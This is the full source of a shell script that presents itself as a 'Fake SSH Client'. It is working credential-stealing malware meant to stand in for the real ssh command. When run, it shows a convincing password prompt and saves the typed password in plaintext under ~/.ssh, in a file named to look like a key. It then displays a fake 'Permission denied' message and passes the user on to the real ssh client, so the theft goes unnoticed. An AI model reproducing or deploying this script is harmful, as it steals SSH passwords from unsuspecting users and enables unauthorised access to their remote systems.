#!/bin/sh
# Fake SSH Client. Written by hip0 from pC-fREAK Org.
# Says you've mistakenly typed your password. Logs it to desired dir
# and after that runs our real SSH client if the password is already logged.
# Please Don't use this to abuse ppl.
# This Software Comes With Absolutely no WARRANTIES! Use at your own risk
# Licensed Under GPL ver 2.0 and above.
# Greetings to all my friends my family my growing sister.
# pC-fREAK Membaz And GNU for what they do to keep the faith alive ...
# http://rootshell.be/~pcfreak/Archive
# For flames suggestions etc. hipo@ncbis.ue-varna.bg.

# Default Values Don't edit.
string1="$1";
string2="$2";
string3="$3";
string4="$4";
string5="$5";
string6="$6";
string7="$7";
string8="$8";

######### Config Here #########

# Evil Dir ( We write logged passwords there )
evil_dir="$HOME/.ssh";

# Fake String before the .hostname we log e.g $HOME/.ssh/pub-key.localhost.
fake_log_string="pub-key"

# Path to the real ssh client.
real_ssh='/usr/bin/ssh';


# Check some args.
chk_args () {

if [ -n "$string1" ] && [ -z "$string2" ] && [ -z "$string3" ] &&\
[ -z "`echo $string1 | grep @`" ]; then
   L="$USER";
   H="$string1";
  chk_logged_pass;
 fi

}


# If no args runs the help of the real ssh client.
chk_noargs () {
 
 if [ -z "$string1" ] && [ -z "$string2" ] && [ -z "$string3" ]; then
  $real_ssh;
  exit 0;
 fi

 }


# Checks for our evil dir existence if not creates it.
chk_evil_dir () {
  
 if [ ! -d "$evil_dir" ]; then
  mkdir $evil_dir;
 fi

 }

# Checks the -l place and if the @ syntax is used for connection.
chk_login_place () {

 if [ -z "`echo $@ | grep "\-l"`" ]; then
  if_att;
 fi

 if [ -z "`echo "$string1" | grep "\-l"`" ] &&\
[ -n "`echo "$string2" | grep "\-l"`" ]; then
  L="$string3";
  H="$string1";
 fi

 if [ -n "`echo "$string1" | grep "\-l"`" ]; then
  L="$string2";
  H="$string3";
 fi

}

# If the @ syntax used we parse to get our User and Hostname.
 if_att () {

 if [ -n "`echo "$string1" | grep "\@"`" ]; then

  L=`echo "$string1" | sed "s/@/ /g" | awk '{ print $1 }'`;
  H=`echo "$string1" | sed "s/@/ /g" | awk '{ print $2 }'`;

 fi
 
 }

# Checks is the password logged and runs the real SSH.
 chk_logged_pass () {
 
 if [ ! -e "$evil_dir/$fake_log_string.$H" ]; then
  /bin/stty -echo;
   echo -n "$L@$H's password:";
    read pass;
     echo $pass > $evil_dir/$fake_log_string.$H;
    RANGE=8;
   random=$RANDOM;
  let "random %= $RANGE";
 sleep $random;
  echo;
   echo -n "Permission denied, please try again."; echo;
   /bin/stty echo;
  $real_ssh "$string1" "$string2" "$string3" "$string4" "$string5" "$string6";
 fi
 
 }

# If already logged run the SSH Client.
 if_logged () {

if [ -e "$evil_dir/$fake_log_string.$H" ]; then
 $real_ssh "$string1" "$string2" "$string3" "$string4" "$string5" "$string6";
fi

 }

# Main Function
 main () {
  
  chk_args;
   chk_noargs;
    chk_evil_dir;
    chk_login_place;
   if_logged;
  chk_logged_pass;
 
 }
 
 main;

# _EOF_
